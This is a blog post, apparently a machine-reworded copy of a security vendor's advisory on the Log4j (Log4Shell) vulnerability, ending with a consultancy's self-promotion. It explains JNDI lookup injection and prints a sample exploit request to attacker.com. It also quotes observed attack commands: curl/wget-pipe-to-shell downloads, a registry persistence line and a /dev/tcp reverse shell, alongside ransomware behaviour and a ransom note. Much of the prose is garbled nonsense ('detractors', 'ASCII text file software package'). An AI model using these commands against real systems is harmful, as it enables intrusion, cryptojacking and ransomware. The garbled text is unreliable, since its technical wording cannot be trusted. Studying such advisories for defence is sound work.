On December 9, 2021, Apache announced CVE-2021-44228, a remote code execution vulnerability – assigned with a severity of 10. The source of the exposure is Log4j, a logging library typically operated by a wide range of applications, and detailed versions up to 2.14.1.
Log4j is an open-source library, region of the Apache Logging Services, written in Java. The original departure of the Java Development Kit did not contain logging APIs, so Java logging libraries fast earned popularity including Log4j. The Log4j library is widely employed by other frameworks, such as Elasticsearch and Flink, which are foundational for many popular websites and services.
Java is a cross-platform framework, and this susceptibility is not restricted to applications operating on specific operating systems. All applications using the framework operating on operating systems such as Windows, Linux, macOS and FreeBSD are weak. Java powers webcams, car navigation systems, DVD players and various terminals, and even parking meters and medical devices.
As a result, this openness has a very powerful ripple effect on the software supply chain, and it is difficult to indicate the total scope and long-term effect of the vulnerability. What we can communicate already is that comfort will be a marathon, not a sprint. We hope to see more application-detailed exploits soon and the problem is still very dynamic. For Bitdefender customers, we suggest reading this protection advisory released on December 11th, 2021.
Description of Vulnerability
We think of logging libraries as inactive since they typically just write down notes to the log file or a database. However, there is usually processing done before the string is saved to a log file – for example, expansion of variables (defined as ${variable}), such as date, time or username. An presentation like Log.info("${user.username} not found") can substitute the ${user.username} expression with the exact username of the current user. This is like using $() in PowerShell for string expansion and processing.
This data can be retrieved locally, for example, the current time on the server – or it can be recovered from a remote machine. For the remote lookup, Log4j uses the Java Naming and Directory Interface. JNDI delivers a way for the programmer to look up objects using additional services and protocols such as LDAP, but also DNS, Java Remote Method Invocation and others.
The command is easy, ${ jndi:protocol://server}. ${} blocks can be nested and connected, which confuses detection, as there are numerous obfuscation techniques that can be utilized. As a easy example, rather of ${ jndi:}, detractors can use ${${lower:jn}${lower:di}}. This lets attackers remove data from a remote server by manipulating the defenselessness– they can for example read a circumstances variable and add its value in an LDAP query
Unfortunately, this is also not the full story. RFC 2713 describes how Java objects can be kept in a directory service – and JNDI contains logic to see when a directory object includes a Java object and packs it into remembering. Persisting with the LDAP instance, if the LDAP entity has ObjectClass point defined as javaNamingReference and has the features javaCodebase, javaFactory and javaClassName, the LDAP object loader will recover the ranges of the URL specified in javaCodebase and utilize it to make an object in memory. The initialization process of this class is run– loading the untrusted code.
For this susceptibility to work, the attacker just ought to discover a way to get a specially formulated string to be processed by the Log4j logging framework. For example, a web application often keeps the user agent string that specifies the browser used by visitors.
String userAgent = request.getRequestHeader("User-Agent"); log.info(userAgent);
An attacker can set a custom user-agent string for connection. This data is saved in the log file – and while processing it, Log4j is compromised.
curl http://victim.com/ -A "${ jndi:ldap://attacker.com/reference}"
All versions of Log4j from 2.0-beta9 to 2.14.1 are involved. The latest version is not involved as it was removed after the first PoC is established to exploit the Log4j vulnerability was released.
It is necessary to comprehend that LDAP and user agent series are just examples of potential exploitation. There are other protocols detractors may use to cause Log4j to save log data in a specific format.
How are attackers exploiting the vulnerability?
Since December tenth, Bitdefender discovered varied attacks on our honeypots, however, we have a tendency to additionally detect real-world attacks on machines running the Bitdefender endpoint protection agent. Gaining initial access via the exploit followed by cryptojacking (malicious crypto-mining while not the information and consent from the owner), appears to be the first motivation for threat actors at this early stage of exploitation.
The following detections are supported by Bitdefender measurement from many variant international sensors and aren't based on information from honeypots or by monitoring traffic in botnet networks.
Muhstik Botnet
Several botnets are already exploiting this vulnerability. Botnets are targeting servers to deploy backdoors, expand their botnet network and deploy crypto miners. Mass scale readying is vital for the fulfillment of those botnet operators. watching botnet activity is usually an honest prediction of however dangerous a replacement RCE extremely is and therefore the potential scale of attacks.
In our measure, we've known Muhstik botnet joined of the first adopters.
The malicious hxxp://45.130.229[.]168:9999/Exploit.class category file is getting used by attackers to execute the curl hxxp://18.228.7[.]109/.log/log | sh command. The shell script then tries to transfer multiple ELF files and shell scripts to then execute them. The aim of those scripts is to put in the Muhstik botnet and deploy a crypto miner.
These files area unit detected as:
GenericKD.47627843 Gen:Variant.Trojan.Linux.Gafgyt.22 Linux.Zojfor.A.
The class file is detected as:
GenericKD.47627832
XMRIG miner
We additionally detected threat actors attempting to deploy the XMRIG miner. this is often triggered via anomaly detection in Bitdefender EDR once a brand new suspicious subprocess is started:
This method executes the command line
cmd /C "(curl -s hxxp://158.247.218[.]44:8000/wsnbb.sh||wget -q -O- hxxp://154.247.218[.]44:8000/wsnbb.sh) | bash, that downloads the script file wsnbb.sh.
This script then makes an attempt to deploy the XMRIG miner from GitHub: This behaviour is detected by Bitdefender EDR as: NotExists.1.Process.NewSubprocessesStarted The XMRIG mineworker is detected as:
Gen:Variant.Application.Linux.Miner.3 (Linux)
Gen:Variant.Application.Miner.2 (Windows)
Application.MAC.Generic.194 (macOS)
New Ransomware family Khonsari
While most of the attacks determined up to now appear to be targeting Linux servers, we've got additionally seen attacks against systems running the Windows OS. For these attacks, we've got detected the plan to deploy a ransomware family known as Khonsari.
This attempt to exploit the Log4j vulnerability uses the malicious
hxxp://3.145.115[.]94/Main.class category to transfer an extra payload. On Sunday, eleventh December, Bitdefender discovered this payload as a malicious .NET binary file download from hxxp://3.145.115[.]94/zambo/groenhuyzen.exe. this is a brand new ransomware family, known as Khonsari when the extension is used on the encrypted files.
Once executed, the malicious file can list all the drives and encode them entirely, except the C:\ drive. On the C:\ drive, Khonsari can encrypt solely the subsequent folders:
C:\Users\Documents
C:\Users\Videos
C:\Users\Pictures
C:\Users\Downloads
C:\Users\Desktop
Files with the extensions .ini and .lnk are neglected. The algorithmic rule used for encoding is AES 128 CBC using PaddingMode.Zeros. when encoding, the extension .khonsari is superimposed to every file.
A ransom note is written in C:\Users\Desktop\HOW to induce YOUR FILES BACK.TXT and opened with Notepad: Your files are encrypted and taken by the Khonsari family. If you would like to decode, call () ***-1309 or email kar[email protected] you are doing not know how to shop for btc, use a re-search engine to seek out exchanges. DO NOT MODIFY OR DELETE THIS FILE OR ANY ENCRYPTED FILES. IF YOU DO, YOUR FILES are also irrecoverable.
There is additionally a GET request to hxxp://3.145.115[.]94/zambos_caldo_de_p.txt. The response isn't utilized in the binary code, and our hypothesis is that the GET request is performed for logging and watching functions.
The ransomware is detected as:
GenericKD.47628589.
The class file is detected as:
GenericKD.38253445.
Orcus Remote Access Trojan
An additional try for downloading new payloads was ascertained by Bitdefender weekday Dec thirteenth, using the same URL hxxp://3.145.115[.]94/Main.class. This time, however, Main.class makes an attempt to transfer the new payload from
hxxp://test.verble[.]rocks/dorflersaladreviews.jar.
The .jar file is traced underneath
C:\Users\AppData\Local\Adobe\fengchenteamchina.class
and persistence is ready using the command:
reg.exe add "hkcu\software\microsoft\windows\currentversion\run" /v "adobe measure agent" /t reg_sz /f /d "c:\program files (x86)\common files\oracle\java\javapath\javaw.exe -jar c:\users\appdata\local\adobe\fengchenteamchina.class peedee"
It downloads shellcode from
hxxp://test.verble.rocks/dorflersaladreviews.bin.encrypted and injects it within the memory of the conhost.exe method. Here, the shellcode decrypts and loads into memory another malicious payload, that seems to be the orcus Remote Access Trojan (RAT) connecting to the check.verble.rocks command and management server.
The class file is detected as:
GenericKD.38268017
The .jar file is detected as:
GenericKD.38267576
The shellcode is detected as:
Agent.FQSI
DonutLoader.A
Orcus RAT is detected as:
Gen:Variant.MSILPerseus.207255
Reverse Bash Shell
Gaining a grip for later exploitation could be a trend, we have a tendency to see when 0-day exploits. Deploying a reverse shell on these vulnerable servers could be an easy action that will be later followed with a complete attack.
In one in every one of the attacks we've seen, the malicious
- hxxp://152.32.216[.]78/Exploit.class
The decrypted command is that the execution of the subsequent statement. The result of this command is establishing a reverse bash shell.
- /bin/bash -i > /dev/tcp/152.32.216[.]78/7777 0&1
The simplicity of this attack demonstrates however straightforward it's to alter the Log4j vulnerability.
This behaviour is detected by Bitdefender EDR as:
- BashReverseShell
The class file is detected as:
- GenericKD.47629137
Call to Action
Bitdefender powerfully advises its customers to require immediate action and deploy all existing patches and mitigations counselled in trade marketer advisories. we tend to conjointly suggest the subsequent course of action
Conduct an in-depth infrastructure and software package application audit to spot all systems that implement the Apache Log4j2 work framework. Then, either like a shot upgrade these deployments to Log4j version two.16.0 and deploy the configuration mitigations counselled by Apache.
Review your software package offer chain and software package bill of materials. get mitigation countermeasures or patches from either ASCII text file software package project maintainers or business software package makers for all affected systems. this is often very true for software you're running on internet-facing systems however shouldn't be restricted to such systems because of the lateral attack threat displayed by the severity of this vulnerability.
Implement a defense comprehensive approach. As of now, attacks accommodates multiple stages, giving the security team an honest chance to stop security incident from evolving into security breach. In our measurement, we've got seen varied modules preventing the exploitation, from network-level protection (URL/IP reputation), static antimalware to Advanced Threat Defense for police work suspicious method behavior.
Actively monitoring the infrastructure for potential exploitation makes an attempt and responds consequently. Implement the Bitdefender EDR answer, explore for any signs of reverse protocol shells, and review any detected anomalies.
It is necessary to notice this is often an extremely dynamic scenario and plenty of software package vendors and ASCII text file projects are still investigation the presence of Log4j2 in their software package bill of materials with further advisories expected over the approaching days and weeks. Therefore, closely observance of marketer updates ought to be an essential part of your in-progress mitigation efforts
If you have any doubt about the above topic. Please try to contact us through the given email. We will provide you with the best services for your digital problems.
Airo Global Software is a digital transformation consultancy and software development company that provides cutting-edge digital solutions, helping companies and enterprise clients untangle complicated issues that always occur during their digital evolution journey.
E-mail id: [email protected]
Author - Johnson Augustine
Chief Technical Director and Programmer
Founder: Airo Global Software Inc
LinkedIn Profile:www.linkedin.com/in/johnsontaugustine/